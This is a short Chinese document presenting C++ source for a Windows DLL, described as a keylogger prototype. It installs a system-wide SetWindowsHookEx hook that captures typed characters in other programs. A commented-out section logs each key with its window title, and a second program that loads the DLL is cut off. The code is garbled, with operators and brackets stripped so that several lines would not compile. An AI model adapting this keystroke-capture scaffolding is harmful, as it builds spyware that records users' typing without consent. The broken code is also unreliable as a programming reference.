一个类似键盘记录程序的雏形.docx

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一个类似键盘记录程序的雏形

// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include stdafx.h #includeWindows.h #includeiostream using namespace std; HHOOK g_Hook=nullptr; HINSTANCE g_Instance=nullptr; LRESULT CALLBACK MsgHookProc(int nCode,WPARAM wParam,LPARAM lParam) { if(HC_ACTION==nCode) { PMSG pMsg=(PMSG)lParam; if(WM_CHAR==pMsg-message) { char szKey=pMsg-wParam; //coutszKeyendl; //它本身没有窗口 MessageBox(nullptr,TEXT(你按下了一个键),TEXT(哈哈哈),MB_OK); /* if(szKey=32 szKey=126) { char szWindowName[MAXBYTE]={0}; char szDebug[MAXBYTE]={0}; GetWindowText(pMsg-hwnd,LPWSTR(szWindowName),MAXBYTE); sprintf_s(szDebug,窗口名:%s接收到了一个:%c,szWindowName,szKey); OutputDebugString(LPCWSTR(szDebug));//输出日志 } */ } } return CallNextHookEx(g_Hook,nCode,wParam,lParam); } externC _declspec(dllexport) BOOL StartHook() { g_Hook=SetWindowsHookEx(WH_GETMESSAGE,MsgHookProc,g_Instance,NULL); if(nullptr==g_Hook) { SetLastError(GetLastError()); return FALSE; } return TRUE; } BOOL UnHook() { if(g_Hook) { return UnhookWindowsHookEx(g_Hook); } return FALSE; } //------------------------------------------------ //dll其实也是有main函数的(main表示入口函数) BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH://当DLL被夹在乳进程时触发 g_Instance=hModule; break; case DLL_THREAD_ATTACH://当DLL被线程运行时触发 case DLL_THREAD_DETACH://当DLL被线程运行完成时触发 case DLL_PROCESS_DETACH://当DLL从进程中剥离时触发 UnHook(); break; } return TRUE; } 以上代码是下面的这个程序将要用到的动态链库的源代码 // SetWinddowHookExDemo.cpp : 定义控制台应用程序的入口点。 // #include stdafx.h #includeWindows.h #includeiostream using namespace std; /* HHOOK g_Hook=nullptr; LRESULT CALLBACK MsgHookProc(int nCode,WPARAM wParam,LPARAM lParam) { if(HC_ACTION==nCode) { PMSG pMsg=(PMSG)lParam; if(WM_CHAR==pMsg-message) { char szKey=pMsg-wParam; coutszKeyendl; } } return CallNextHookEx(g_Hook,nCode,wParam,lParam); } */ /

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